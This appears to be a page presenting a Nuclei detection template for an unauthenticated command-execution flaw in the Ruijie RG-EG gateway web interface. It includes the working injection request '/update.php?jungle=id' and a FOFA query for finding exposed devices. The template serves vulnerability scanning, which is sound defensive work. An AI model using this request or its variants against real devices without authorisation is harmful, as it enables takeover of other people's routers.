Ruijie RG-EG - Remote Code Execution

ID: ruijie-rg-eg-web-mis-rce

Severity: critical

Author: DhiyaneshDk

Tags: ruijie,router,iot,rce

Description

Ruijie RG-EG easy gateway WEB management system front-end RCE has a command execution vulnerability. An attacker without identity authentication can execute arbitrary commands to control server permissions.

YAML Source

id: ruijie-rg-eg-web-mis-rce

info:
  name: Ruijie RG-EG - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Ruijie RG-EG easy gateway WEB management system front-end RCE has a command execution vulnerability. An attacker without identity authentication can execute arbitrary commands to control server permissions.
  reference:
    - https://github.com/xinyisleep/pocscan/blob/main/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_WEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="请输入您的RG-EG易网关的用户名和密码"
  tags: ruijie,router,iot,rce
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ruijie")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/update.php?jungle=id"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
        condition: and
# digest: 4a0a00473045022100ba44b4dbce6070c9eaf491a479e068d231dabb8d45e69ff013666d88e671f77d02201e6392d44fda3e0f16f59af46bc843bf10926ef553e877705ca947dae3c91ee3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/ruijie/ruijie-rg-eg-web-mis-rce.yaml"

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